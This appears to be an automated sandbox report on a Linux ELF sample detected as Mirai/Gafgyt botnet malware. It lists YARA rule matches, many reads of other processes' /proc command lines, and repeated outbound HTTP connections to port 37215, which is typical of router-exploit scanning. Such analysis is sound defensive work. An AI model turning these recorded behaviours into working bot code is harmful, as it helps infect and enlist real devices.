Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6236, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6244, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@11/0

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/4444/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/4445/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/4446/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/517/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/4447/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2285/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2281/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/761/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1622/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1983/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2038/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1860/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2156/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1629/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1627/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/4476/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/3021/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2294/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2050/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1877/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/772/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1633/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1632/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/774/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/654/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/896/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2048/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/655/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2289/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/777/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1639/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1638/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2180/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/4480/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1494/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1890/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2063/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/2062/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6260/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1888/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1886/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/420/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1489/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/785/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/1642/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/788/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/667/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/789/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	File opened: /proc/6259/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57460 -> 37215
